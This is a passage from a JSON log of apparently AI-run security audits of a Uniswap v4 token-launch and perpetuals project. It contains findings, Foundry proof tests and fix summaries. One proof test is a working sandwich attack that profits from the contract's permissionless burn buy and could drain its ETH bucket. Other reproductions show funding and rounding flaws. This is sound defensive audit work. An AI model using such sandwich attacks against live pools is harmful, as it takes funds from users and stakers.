external { balanceOf[to] += a; totalSupply += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// A plain trader (a router): one unlock per swap\ncontract Trader {\n    IPoolManager immutable pm;\n    PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();\n            else { pm.sync(c); IERC20(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }\n        } else if (v > 0) {\n            pm.take(c, address(this), uint128(v));\n        }\n    }\n    receive() external payable {}\n}\n\ncontract LiquidityAdder {\n    IPoolManager immutable pm;\n    PoolKey key;\n    uint256 liq;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function add(PoolKey calldata k, uint256 l) external { (key, liq) = (k, l); pm.unlock(\"\"); }\n    function unlockCallback(bytes calldata) external returns (bytes memory) {\n        (BalanceDelta d,) = pm.modifyLiquidity(key, ModifyLiquidityParams(TickMath.minUsableTick(key.tickSpacing), TickMath.maxUsableTick(key.tickSpacing), int256(liq), 0), \"\");\n        pm.settle{value: uint128(-d.amount0())}();\n        pm.sync(key.currency1);\n        IERC20(Currency.unwrap(key.currency1)).transfer(address(pm), uint128(-d.amount1()));\n        pm.settle();\n        return \"\";\n    }\n    receive() external payable {}\n}\n\ncontract BurnImdSandwichTest is Test {\n    address constant OWNER = address(0xA11CE);\n    address constant TL = address(0x71E10C);\n    uint256 constant SUPPLY = 1_000_000_000 ether;\n    IPoolManager PM;\n    IMD6900RobinhoodLaunch L;\n    PoolKey ik;\n\n    function setUp() public {\n        PM = IPoolManager(vm.deployCode(\"PoolManager.sol:PoolManager\", abi.encode(address(this))));\n        L = IMD6900RobinhoodLaunch(payable(vm.deployCode(\"IMD6900RobinhoodLaunch.sol:IMD6900RobinhoodLaunch\", abi.encode(OWNER, PM, address(new MockToken()), TL))));\n        L.createHook(_mineHook());\n        // $IMD and a thin pool: ~261 $IMD per ETH, about 6 ETH of ETH-side depth\n        address imd = L.IMD();\n        vm.etch(imd, address(new MockToken()).code);\n        LiquidityAdder adder = new LiquidityAdder(PM);\n        vm.deal(address(adder), 100 ether);\n        MockToken(imd).mint(address(adder), 1e30);\n        ik = L.imdPoolKey();\n        PM.initialize(ik, uint160(_sqrt(261 << 192)));\n        adder.add(ik, 1e20);\n        // launch, then 50 ETH of fees split: 5 ETH in the $IMD bucket\n        bytes32 salt = _mineCoin();\n        address expected = L.tokenAddress(salt);\n        vm.deal(OWNER, 1 ether);\n        vm.prank(OWNER);\n        L.launch{value: 1 ether}(salt, expected, uint160(_sqrt(FullMath.mulDiv(SUPPLY, 1 << 192, 19.18 ether))), 0, address(L));\n        vm.deal(address(this), 50 ether);\n        L.addFees{value: 50 ether}();\n        L.split();\n        assertEq(L.imdBucket(), 5 ether);\n    }\n\n    /// Fails on the current code: burnImd accepts whatever price the caller just set in the $IMD pool, so a\n    /// sandwicher is paid out of the burn's ETH. Passes once burnImd refuses a buy that is manipulated away from the\n    /// pool's fair price (or otherwise bounds the price it pays), whether by reverting or by returning the fair amount.\n    function test_TheBurnBuyCannotBeSandwichedForProfit() public {\n        address imd = L.IMD();\n        // control: what an unmolested burn buy returns\n        uint256 snap = vm.snapshotState();\n        uint256 clean = L.burnImd(0);\n        vm.revertToState(snap);\n\n        Trader attacker = new Trader(PM);\n        vm.deal(address(attacker), 3 ether);\n        uint256 before = address(attacker).balance;\n        // one transaction from the attacker: buy $IMD, trigger the burn buy at the inflated price, sell back\n        attacker.swap(ik, true, -3 ether);\n        (bool ok, bytes memory ret) = address(L).call(abi.encodeCall(L.burnImd, (0)));\n        uint256 got = ok ? abi.decode(ret, (uint256)) : 0;\n        attacker.swap(ik, false, -int256(IERC20(imd).balanceOf(address(attacker))));\n        emit log_named_decimal_uint(\"burn executor got, clean\", clean, 18);\n        emit log_named_decimal_uint(\"burn executor got, sandwiched\", got, 18);\n        emit log_named_decimal_int(\"attacker profit\", int256(address(attacker).balance) - int256(before), 18);\n        if (ok) assertGe(got, clean * 9 / 10, \"the burn bought far less $IMD than the pool's fair price gives\");\n        assertLe(address(attacker).balance, before, \"the sandwicher must not profit from the burn's ETH\");\n    }\n\n    function _mineHook() internal view returns (bytes32) {\n        bytes32 initHash = L.hookInitCodeHash();\n        uint160 flags = L.FLAGS();\n        for (uint256 i;; ++i) {\n            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(L), bytes32(i), initHash)))));\n            if (uint160(a) & Hooks.ALL_HOOK_MASK == flags && uint160(a) >> 152 != 0x91) return bytes32(i);\n        }\n    }\n\n    function _mineCoin() internal view returns (bytes32) {\n        bytes32 initHash = L.tokenInitCodeHash();\n        for (uint256 i;; ++i) {\n            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(L), bytes32(i), initHash)))));\n            if (uint160(a) >> 144 == 0x6900) return bytes32(i);\n        }\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint256 y) {\n        if (x == 0) return 0;\n        y = x;\n        uint256 z = (x + 1) / 2;\n        while (z < y) (y, z) = (z, (x / z + z) / 2);\n    }\n}","reproduction":"State: launch done, 50 ETH of fees split so imdBucket = 5 ETH; the $IMD pool (ETH/$IMD, fee 10000, spacing 100, no hooks) initialized at ~261 $IMD per ETH with 1e20 full-range liquidity (about 6 ETH of ETH-side depth). Control: burnImd(0) alone sends 25.43 $IMD to IMD_BURN. Attack, one transaction from any address: (1) swap 3 ETH -> $IMD on the $IMD pool; (2) call L.burnImd(0); (3) sell all $IMD back. Observed: the burn executor receives 11.67 $IMD (54% less than the control), the attacker ends with 0.0035 ETH more than it started with, and imdBucket is reduced by the full 0.1 ETH. Expected: the burn's 0.1 ETH buys at or near the pool's fair price, with no profit available to a third party from calling it. Repeat each second to drain the whole bucket the same way. See test/scratch/BurnImdSandwich.t.sol (fails on the current code).","severity":"medium","snippet":"    function burnImd(uint256 minImd) external nonReentrant returns (uint256 imd) {\n        uint256 spend = imdBucket < IMD_BUY_MAX ? imdBucket : IMD_BUY_MAX;\n        if (spend == 0) revert NoEth();\n        if (block.timestamp < nextImdBurnAt) revert BurnTooSoon();\n        nextImdBurnAt = block.timestamp + 1;\n        imdBucket -= spend;\n        imd = abi.decode(poolManager.unlock(abi.encode(uint8(1), spend)), (uint256));\n        if (imd < minImd) revert Short(imd);","title":"burnImd is a permissionless swap with a caller-chosen floor: anyone sandwiches the $IMD burn buys and is paid out of the fee bucket"},{"citation":"resolved","description":"split computes amount = balance - imdBucket and books the burn executor's share into imdBucket before paying the other payees; a payee whose call fails (PayFailed) leaves its part in the contract balance, where the next split counts it again as new fees and takes another 10% of it for imdBucket. Each split therefore moves 10% of whatever the pot bridge refused into the $IMD bucket, compounding: 10 ETH of fees with the pot refusing yields imdBucket of 1, 1.9, 2.71 ETH after one, two, three calls (anyone may call split or harvest), while the pot's eventual share falls to 9, 8.1, 7.29 ETH. The comment says a refused share 'leaves it here for the next split', but the code gives the refusal a different split than the one the timelock set. The timelock can only correct it with recoverEth. Fix: keep the refused amount out of the next split (e.g. accumulate it in an owed[payee] balance that a retry pays, or subtract a 'refused' total from amount the way imdBucket is).","line":472,"path":"src/IMD6900RobinhoodLaunch.sol","reproduction":"State: launched; POT_BRIDGE's code replaced by a contract whose receive() reverts (any payee that refuses ETH behaves the same). Send 10 ETH via addFees. Call split(): imdBucket == 1 ether, balance == 10 ether (the pot's 9 ETH stayed). Call split() again: imdBucket == 1.9 ether (10% of the refused 9 ETH taken again). Call split() a third time: imdBucket == 2.71 ether. Expected: the $IMD share of 10 ETH of fees stays 1 ETH however many times split runs; the refused 9 ETH remains earmarked for the pot. Reproduced in test/scratch/SplitRefused.t.sol.","severity":"low","snippet":"            (bool ok,) = to[i].call{value: part}(\"\");\n            if (!ok) emit PayFailed(to[i], part);","title":"split re-splits ETH a payee refused, so the $IMD burn share compounds past its 10% and the pot's share shrinks"}],"hash":"71f0b143ce7b40ad749f53cdd839f36eb941c0a8faf25518a8db4ca7dcf673bf","nodeId":"419f47a5-17ee-4ef1-8741-55815ef5ef44","outcome":"completed","summary":"Review complete. No tracked file was changed; the only new files are `.imd-findings.json` and the two scratch tests under `test/scratch/`, which are mine to leave.\n\n**What I found**\n\n1. **Medium, `burnImd` is sandwichable** (`src/IMD6900RobinhoodLaunch.sol:481`). Anyone can trigger the 0.1 ETH $IMD buy and the only slippage floor is the caller's own `minImd`. Since each call opens its own PoolManager unlock, one transaction can buy $IMD, call `burnImd(0)`, and sell back. On a $IMD pool with about 6 ETH of depth the burn executor received 11.67 instead of 25.43 $IMD and the attacker netted 0.0035 ETH per call, repeatable every second until the bucket is empty. Profitable whenever the pool's depth is roughly under 10 ETH given its 1% fee. A proof test that fails on the current code is attached. Suggested fix: bound the price with a reference the caller cannot set in the same transaction, or require the timelock or owner to call it with a real floor.\n\n2. **Low, refused payee shares are re-split** (`src/IMD6900RobinhoodLaunch.sol:472`). When the pot bridge rejects its ETH, the amount stays in the balance and the next `split` takes another 10% of it for the $IMD bucket. With 10 ETH of fees the bucket went 1, 1.9, 2.71 ETH over three calls. Reproduced in a scratch test.\n\n**What held**\n\nI traced the launch, locked pool, hook and the perps engine and vault against the Execution Trace, Periphery and First Principles guides: the checkpoint and refund transient stack, including the engine's nested liquidations inside `sellHeld`; the lower-fee move; the claim and release state machine; the sweep's reentry flags, gas reserves and fail-closed paths; and the vault's queue indexing. I spent time on the pool's one-sided range (nothing above the opening tick, where the engine would read zero liquidity and condemn every position), but the supply-conservation argument in the existing range-end test holds: positions and the vault's free inventory keep the price below that tick, so I did not report it.\n\nThe coverage record answers all 100 listed entry points plus two invariants: 99 hold, three point at the two findings, none unreached.","treeHash":null,"usage":{"cachedInputTokens":2308528,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":78531,"runtime":"claude","turns":28,"wallClockMs":1247140}},{"artifacts":[],"attempt":3,"bundleHash":"d450acf5c7933a32fb10234b12066b0e7aefc35082029f1cc9ad111623ffbcae","device":"8af9903f4ad1eed0","findings":[],"hash":"9a3752c760055bf385ceecab99c5dd85029724986ae34536e24ae4b1b0ef4b25","nodeId":"bc4142c9-06cc-4c5f-b7ec-24aa583c83b2","outcome":"completed","summary":"Done. All four reopened findings reproduced; three are fixed and the fourth is fixed in code with its proof's second test disputed as self-contradictory. Responses are in `.imd-responses.json`, notes in ADAPTATION.md.\n\n**What changed**\n\n- **Split drift (fixed).** `split()` now keeps a per-payee refused-share ledger (`owedTo`, `owedTotal`). Refused ETH is kept out of the next amount, offered again to the same payee at every split, and paid in full once accepted. `setPayees` clears the ledger; `recoverEth` that reaches into set-aside ETH forgives it first. The reviewer's proof passes.\n- **Burn sandwich (fixed).** `burnImd` is held to an on-chain reference price of the $IMD pool, anchored at launch, after each buy, on `setImdPool`, and via the new permissionless `anchorImd()`. A buy reverts `ImdPriceMoved` when the spot is below the reference less 1% slack and 10%-per-hour drift (of sqrt price). The buy stays permissionless. The bucket is now debited by what the pool actually took (the advisory partial-fill finding). The proof passes; the fork test against the live Robinhood RPC also passes with the real $IMD pool.\n- **Engine replacement strands positions (fixed, proof disputed).** `isRefunded` also accepts the engine `createPerps` made, and `lowerFee` checks that engine's `openCount` too. The proof's first test passes. Its second test requires `lowerFee` to succeed with a position open and then asserts `openCount == 1` together with a successful close of that position, which no implementation can satisfy. I answered it \"disputed\" with that explanation; the project's own tests cover the intended behaviour.\n- **Funding sign (fixed).** `_pokeFunding` weighs the longs' notional at the mark against the shorts'. `ENGINE_CODE_HASH` updated; full and production-only builds agree. `_insuranceNeed` stays on lent amounts because the notional version pauses opens at audited insurance levels and the reviewer's own proof then fails with `InsurancePaused`.\n- **Advisory items.** Claim bound (`OverClaim` past `claimTotal`) and `renounceOwnership` block are fixed with tests. The vault yield truncation is left alone (bounded rounding, would change the audited vault). The `endClaims` timing is documented as the timelock's power.\n\n**Checks**\n\n| Check | Result |\n|---|---|\n| `forge build` | passes |\n| `forge test` with the verifier's seed | 75 project tests pass, 5 of 6 proof tests pass, 1 disputed |\n| Robinhood fork test (live RPC) | passes |\n| Launch runtime size | 24,065 bytes, under the 24,576 limit |\n\nOne thing to watch: the launch contract is now 511 bytes under the EIP-170 limit, so any further additions to it will need trimming elsewhere.","treeHash":"dda02a359a30e7dc5850398cf5e76b8ea2326b78","usage":{"cachedInputTokens":5314754,"inputTokens":1090,"model":"claude-fable-5-1","outputTokens":80439,"runtime":"claude","turns":82,"wallClockMs":2043038}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"de319b702da6aa2e","findings":[{"citation":"resolved","description":"Scale mixing (Math Precision / Numerical Gap: two quantities of different scales compared). _pokeFunding sets imbalance = longOiEth - shortEth. longOiEth is documented and maintained as the SUM OF ETH BORROWED by longs (PerpEngine.sol:216 `uint256 public longOiEth;    // sum of ETH borrowed by open longs`; openLong adds `borrow = collateral * (leverage - 1)`), while shortEth = _quoteMark(shortOiToken) is the shorts' full NOTIONAL (collateral * leverage worth of token). A long's notional is collateral*leverage but only collateral*(leverage-1) of it enters longOiEth, so a long at 2x counts at half its size (at 5x at 4/5). _fundingDelta then charges/credits each position on its full notional `uint256(p.collateral) * p.leverage`, so the index sign decides who pays and it is wrong whenever longNotional > shortNotional > longBorrowed. Funding paid (fd>0) goes to plv; funding received (fd<0) comes out of insuranceEth and then plv (_settle:766-774), so the misdirected flow moves money from shorts and from the insurance buffer / ETH stakers to the crowded longs. Same root makes _insuranceNeed (line 890) under-count long open interest by 1/leverage.","line":371,"path":"src/perps/PerpEngine.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {FullMath} from \"@uniswap/v4-core/src/libraries/FullMath.sol\";\nimport {Hooks} from \"@uniswap/v4-core/src/libraries/Hooks.sol\";\nimport {IMD6900Hook} from \"src/IMD6900Hook.sol\";\nimport {IMD6900LockedPool} from \"src/IMD6900LockedPool.sol\";\nimport {IMD6900RobinhoodLaunch} from \"src/IMD6900RobinhoodLaunch.sol\";\nimport {PerpEngine} from \"src/perps/PerpEngine.sol\";\nimport {PerpVault} from \"src/perps/PerpVault.sol\";\n\ninterface IERC20S {\n    function balanceOf(address) external view returns (uint256);\n    function approve(address, uint256) external returns (bool);\n    function transfer(address, uint256) external returns (bool);\n}\n\ncontract Imdstr0 {\n    mapping(address => uint256) public balanceOf;\n}\n\ncontract Buyer {\n    IPoolManager immutable pm;\n    PoolKey key;\n\n    constructor(IPoolManager pm_) {\n        pm = pm_;\n    }\n\n    function buy(PoolKey calldata k, int256 amt) external payable {\n        key = k;\n        pm.unlock(abi.encode(amt));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        int256 amt = abi.decode(data, (int256));\n        BalanceDelta d = pm.swap(key, SwapParams(true, amt, TickMath.MIN_SQRT_PRICE + 1), \"\");\n        pm.settle{value: uint128(-d.amount0())}();\n        pm.take(key.currency1, address(this), uint128(d.amount1()));\n        return \"\";\n    }\n\n    function approve(address t, address s, uint256 a) external {\n        IERC20S(t).approve(s, a);\n    }\n\n    function stake(PerpVault v, uint256 a) external {\n        v.depositToken(a);\n    }\n\n    receive() external payable {}\n}\n\n/// The funding index weighs the longs' BORROWED ETH against the shorts' full NOTIONAL: with the long side the larger\n/// one by notional, the longs (the crowded side) receive funding and the shorts pay.\ncontract FundingSideTest is Test {\n    address constant OWNER = address(0xA11CE);\n    address constant TL = address(0x71E10C);\n    address constant ALICE = address(0xA1);\n    address constant BOB = address(0xB0B);\n    uint256 constant SUPPLY = 1_000_000_000 ether;\n\n    IPoolManager PM;\n    IMD6900RobinhoodLaunch L;\n    IMD6900LockedPool pool;\n    PerpEngine engine;\n    PerpVault vault;\n    address t;\n    PoolKey k;\n    address _staker;\n\n    function setUp() public {\n        PM = IPoolManager(vm.deployCode(\"PoolManager.sol:PoolManager\", abi.encode(address(this))));\n        L = IMD6900RobinhoodLaunch(\n            payable(vm.deployCode(\n                    \"IMD6900RobinhoodLaunch.sol:IMD6900RobinhoodLaunch\",\n                    abi.encode(OWNER, PM, address(new Imdstr0()), TL)\n                ))\n        );\n        L.createHook(_mineHook());\n        pool = L.pool();\n        bytes32 salt = _mineCoin();\n        address expected = L.tokenAddress(salt);\n        vm.deal(OWNER, 2.81 ether);\n        vm.prank(OWNER);\n        (t,) = L.launch{value: 2.81 ether}(\n            salt, expected, uint160(_sqrt(FullMath.mulDiv(SUPPLY, 1 << 192, 19.18 ether))), 0, address(L)\n        );\n        (address e, address v) =\n            pool.createPerps{value: 0.05 ether}(vm.getCode(\"PerpEngine.sol:PerpEngine\"), vm.getCode(\"PerpVault.sol:PerpVault\"));\n        (engine, vault) = (PerpEngine(payable(e)), PerpVault(payable(v)));\n        k = pool.poolKey();\n        vm.deal(address(0x57A4E), 10 ether);\n        vm.prank(address(0x57A4E));\n        vault.depositEth{value: 10 ether}();\n        Buyer b = new Buyer(PM);\n        vm.deal(address(b), 2 ether);\n        b.buy(k, -2 ether);\n        uint256 coins = IERC20S(t).balanceOf(address(b));\n        b.approve(t, address(vault), coins);\n        b.stake(vault, coins);\n        _staker = address(b);\n        vm.deal(ALICE, 5 ether);\n        vm.deal(BOB, 5 ether);\n    }\n\n    function test_TheLargerSideByNotionalPaysFunding() public {\n        vm.prank(ALICE);\n        uint256 longId = engine.openLong{value: 0.3 ether}(2, 0); // notional ~0.559 ETH, borrowed ~0.279\n        vm.prank(BOB);\n        uint256 shortId = engine.openShort{value: 0.2 ether}(2, 0); // notional ~0.372 ETH\n        emit log_named_uint(\"longOiEth (borrowed)\", engine.longOiEth());\n        emit log_named_uint(\"short notional at spot\", _shortEth());\n        vm.warp(block.timestamp + 1 days);\n        engine.poke();\n        int256 longFunding = engine.fundingDelta(longId);\n        int256 shortFunding = engine.fundingDelta(shortId);\n        emit log_named_int(\"long funding (positive = pays)\", longFunding);\n        emit log_named_int(\"short funding (positive = pays)\", shortFunding);\n        // the long side is the crowded one by notional (0.559 vs 0.372 ETH): it must pay, the shorts receive\n        assertGt(longFunding, 0, \"the crowded long side pays funding\");\n        assertLt(shortFunding, 0, \"the smaller short side receives it\");\n    }\n\n    function _shortEth() internal view returns (uint256) {\n        (, uint256 markValue,,) = engine.positionHealth(2);\n        return markValue;\n    }\n\n    function _mineHook() internal view returns (bytes32) {\n        bytes memory pre = abi.encodePacked(bytes1(0xff), address(L), bytes32(0), L.hookInitCodeHash());\n        uint160 flags = L.FLAGS();\n        for (uint256 i;; ++i) {\n            address a = _at(pre, i);\n            if (uint160(a) & Hooks.ALL_HOOK_MASK == flags && uint160(a) >> 152 != 0x91) return bytes32(i);\n        }\n    }\n\n    function _mineCoin() internal view returns (bytes32) {\n        bytes memory pre = abi.encodePacked(bytes1(0xff), address(L), bytes32(0), L.tokenInitCodeHash());\n        for (uint256 i;; ++i) {\n            if (uint160(_at(pre, i)) >> 144 == 0x6900) return bytes32(i);\n        }\n    }\n\n    function _at(bytes memory preimage, uint256 salt) internal pure returns (address a) {\n        assembly (\"memory-safe\") {\n            mstore(add(preimage, 53), salt)\n            a := and(keccak256(add(preimage, 32), 85), 0xffffffffffffffffffffffffffffffffffffffff)\n        }\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint256 y) {\n        if (x == 0) return 0;\n        y = x;\n        uint256 z = (x + 1) / 2;\n        while (z < y) (y, z) = (z, (x / z + z) / 2);\n    }\n}","reproduction":"After the launch and createPerps (as in test/Perps.t.sol setUp: 10 ETH staked on the ETH side, ~2 ETH of coins staked on the token side), ALICE calls openLong{value:0.3 ether}(2, 0): collateral = 0.3*(1-6.9%) = 0.2793 ETH, borrow = 0.2793, notional ~0.559 ETH, longOiEth += 0.2793. BOB calls openShort{value:0.2 ether}(2, 0): collateral 0.1862, notional 0.3724 ETH, so shortEth ~0.372. The book is long-heavy by notional (0.559 vs 0.372), but imbalance = 0.2793 - 0.372 = -0.093 ETH < 0. vm.warp(+1 day); engine.poke(): step = -0.093*100*86400*1e18/(0.651*1e4*86400) ~ -1.43e15, so fundingIndex falls. fundingDelta(long) = -1.43e15*0.559 ~ -0.0008 ETH (the long RECEIVES) and fundingDelta(short) = +1.43e15*0.372 ~ +0.00053 ETH (the short PAYS). Expected: the long side, larger by notional, pays and the short receives. Actual: reversed, and on close the long's credit is drawn from insuranceEth first. Fix: keep a long-notional aggregate (e.g. collateral*leverage, or _quoteMark(longSizeToken)) and use it in place of longOiEth in _pokeFunding and _insuranceNeed (any fix to src/perps must update ENGINE_CODE_HASH). Measured on this tree (proof below, forge test --match-path on it): longOiEth = 0.2793 ETH vs short notional 0.3613 ETH; after one day fundingDelta(long) = -715179842836647 wei (long receives 0.000715 ETH) and fundingDelta(short) = +476786561891098 wei (short pays 0.000477 ETH).","severity":"medium","snippet":"        int256 imbalance = int256(longOiEth) - int256(shortEth);","title":"Funding imbalance weighs the longs' BORROWED ETH against the shorts' full NOTIONAL, so the crowded long side can receive funding and the smaller short side pays"},{"citation":"resolved","description":"Precision x boundary seam. Token shares are minted at ~1e6 per token wei (line 625 `shares = FullMath.mulDiv(amount, tokShares + OFFSET, assetsTok() + 1);` with OFFSET = 1e6), and the coin has 18 decimals and a 1e27-wei supply, so tokShares is ~1e30-1e33. The accumulator scales by only ACC = 1e18, so each fold credits floor(y*1e18/sh) and drops up to sh/1e18 wei (1e13-1e15 wei). _syncTokYield ALWAYS advances lastTokYieldCum to cum, so the dropped remainder is never re-folded: it stays in the engine's tokYieldEth with no claimant (nothing but the vault's attributed claims ever draws it). Any vault call folds (depositToken of 1 wei token mints ~1e6 shares and succeeds), so with folds after each short-side fee the loss rate approaches 100% of small credits. test_TokenVaultQueueAndYieldStayBacked already tolerates 1e14 wei of this on a single fold.","line":566,"path":"src/perps/PerpVault.sol","reproduction":"Measured on this tree with the test/Perps.t.sol launch (2.81 ETH opening buy, 10 ETH ETH-side stake) and a 2 ETH buyer staking all its coins: tokShares = 70303963565447621158283254000000 (7.03e31). BOB calls engine.openShort{value: 0.0108 ether}(2, 0): 149040000000000 wei (1.4904e14) is credited to tokYieldEth for the token side. The only token staker's vault.pendingTokYield (which mirrors the fold) is 140607927130895 wei: floor(1.4904e14*1e18/7.03e31) = 2 per share-unit, 2*7.03e31/1e18 = 1.406e14, so 8.43e12 wei (5.7%) of a single credit is lost even though one staker owns every share. The fold advances lastTokYieldCum to cum, so the next depositToken(1)/claimTokYield banks the truncated value and the remainder can never be claimed. Larger stakes lose more: with 1e33 shares (whole supply staked) the same 1.49e14 credit folds to floor(0.149) = 0 and the whole of it is lost. Expected: a sole staker can claim all 1.4904e14 wei. Actual: 1.406e14.","severity":"low","snippet":"                    accEthPerTokShare += FullMath.mulDiv(_toYieldUnit(cum - last), ACC, sh);","title":"Token-side yield accumulator (ACC = 1e18) is too coarse for shares minted at 1e6 x token wei: each fold truncates up to tokShares/1e18 wei of stakers' ETH, permanently"}],"hash":"a7ba361bbc924674b2bca6e23c68c49af9e7aacaab044d19897592bfda5cdfde","nodeId":"9c765ce2-ddb0-4e21-bd09-b39ef89a8510","outcome":"completed","summary":"I found two math defects in the perps and confirmed both by running scratch tests against this tree. Both findings and a coverage record are in `.imd-findings.json`. I changed no source files and deleted the scratch tests afterwards.\n\n**Findings**\n\n1. **Medium: funding is paid by the wrong side** (`src/perps/PerpEngine.sol:371`). The funding calculation compares the longs' *borrowed* ETH (`longOiEth`) with the shorts' *full position size*. A long counts at only part of its size: half at 2x, four-fifths at 5x. But each position is then charged or paid funding on its full size, so the side with the bigger book can end up *receiving* funding.\n   - Measured: a 2x long opened with 0.3 ETH (about 0.56 ETH of position) against a 2x short opened with 0.2 ETH (about 0.36 ETH). After one day the long receives 0.000715 ETH and the short pays 0.000477 ETH. It should be the other way round.\n   - The long's credit is drawn from the insurance fund first, then from the ETH stakers.\n   - The insurance-requirement calculation at line 890 has the same root cause and under-counts the longs.\n   - The finding carries a self-contained Foundry test that fails on this code for exactly this reason.\n\n2. **Low: stakers lose part of the short-side fees to rounding** (`src/perps/PerpVault.sol:566`). Token stakers' shares are minted at about a million per token unit, but the reward tracker only keeps 18 decimal places. Each time rewards are added, the remainder is rounded away and can never be claimed. Anyone can trigger that with a 1-wei token deposit.\n   - Measured: with about 70M coins staked, a minimum short credits 1.4904e14 wei to the token side. The only staker can claim just 1.406e14, so 5.7% is lost.\n   - If the whole supply were staked, the same credit would round to zero and be lost entirely.\n\n**Checked and found sound**\n- The no-bad-debt liquidation test: I re-derived the price-impact formulas for closing longs and shorts, and the rounding errs towards liquidating.\n- The pre-trade price projection in the hook's sweep: it rounds towards a larger move, caps the input, and respects the trade's own price limit.\n- The fee refund for the engine's and the launch's swaps: the gross-up matches how Uniswap v4 splits its fee, and the 32-wei margin covers its rounding.\n- The vault's share pricing (the virtual offset blocks first-depositor inflation) and its withdrawal-queue write-downs.\n- The locked pool's liquidity maths in `open` and in `lowerFee`'s move to a new pool.\n- The launch's vanity-address and hook-flag checks, the fee split's rounding, and the `sellHeld` accounting.\n\n**Coverage:** 103 rows, every listed entry point plus three invariants. The five IMD6900 coin functions (`approve`, `burn`, `permit`, `transfer`, `transferFrom`) are marked `unreached`: it's a plain ERC20 outside the math area and I didn't trace it.\n\n**Leads I checked but didn't report:**\n- **Pool depth on the perps' caps.** The engine measures pool depth as if the liquidity were full range, but the locked position stops at the opening price. That's correct for price impact. It does loosen the position-size caps near the opening price, but I couldn't turn that into a concrete loss.\n- **Opening a large long when the vault is nearly fully lent.** The open could revert, because the engine briefly has to pay the swap fee before it is refunded. That only blocks the open; nothing is lost.","treeHash":null,"usage":{"cachedInputTokens":3922799,"inputTokens":50,"model":"claude-opus-5-5","outputTokens":47412,"runtime":"claude","turns":29,"wallClockMs":554803}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"7ffab1989aa9150f","findings":[],"hash":"ba26cb3b50389db64c7447b09aaf1c959f11a54d1ca0396eb91c6b1692a416a6","nodeId":"abe74567-0d7e-4984-aa8f-4612305fa20c","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. If you’re doing authorized security work that requires more cyber permissive safeguards, apply for Daybreak access via https://platform.openai.com/settings/organization/status-and-access before retrying.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":9,"wallClockMs":2144767}},{"artifacts":[],"attempt":1,"bundleHash":"159f0d9ee6bd4d4c23c01f83a5f907cce79358dc9cb351654f5db24e5d640fe6","device":"72f49cf84b9ab056","findings":[],"hash":"c4997ef9ea41e764797fa06c18f7d44cbd9f8c56f63038fd944abc031532fcac","nodeId":"b336210c-7b6f-412c-a27a-7aef8fea871c","outcome":"completed","summary":"Done. The manifest is written and the tree builds and passes every test.\n\n**What launch.json contains**\n\n- **Kind** is evm_contracts with one contract, IMD6900RobinhoodLaunch, and nothing else, since the constructor itself creates IMD6900LockedPool and the hook, coin and perps are created later by the team, the owner and the pool.\n- **Constructor arguments** follow the declaration order at `src/IMD6900RobinhoodLaunch.sol:173`: `$owner` for the team wallet, which resolves to the launch's owner address, then the static PoolManager, IMDSTR and Robinhood timelock addresses the brief names.\n- **Notes** explain each argument's role, that the constructor calls no pre-existing contract, and that the hook, coin and perps are not part of the deploy.\n\n**Checks**\n\n- Manifest shape: only the three schema keys, string arguments, name under 32 characters, notes under 4000 characters.\n- `forge build` succeeds and `forge test` passes 66 of 66 tests across 5 suites. The fork suite skips without an RPC URL as designed.\n- Git status shows launch.json as the only new file. Nothing else changed.","treeHash":"16d202c8588c5ab2a340fcaac05b2bfae7408955","usage":{"cachedInputTokens":123506,"inputTokens":98,"model":"claude-fable-5-1","outputTokens":2147,"runtime":"claude","turns":4,"wallClockMs":62972}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"dedc96e38388cb45","findings":[{"citation":"resolved","description":"Access x asymmetry (Trust Gap seam 3; Asymmetry step 5, admin variants). IMD6900LockedPool.isRefunded (src/IMD6900LockedPool.sol:252, `return a == launcher || (a != address(0) && a == IPerpsWiring(hook).perpEngine());`) decides who may call feeCheckpoint by reading the hook's CURRENT perpEngine. PerpSwapLib.swapLeg (src/perps/PerpSwapLib.sol:532, 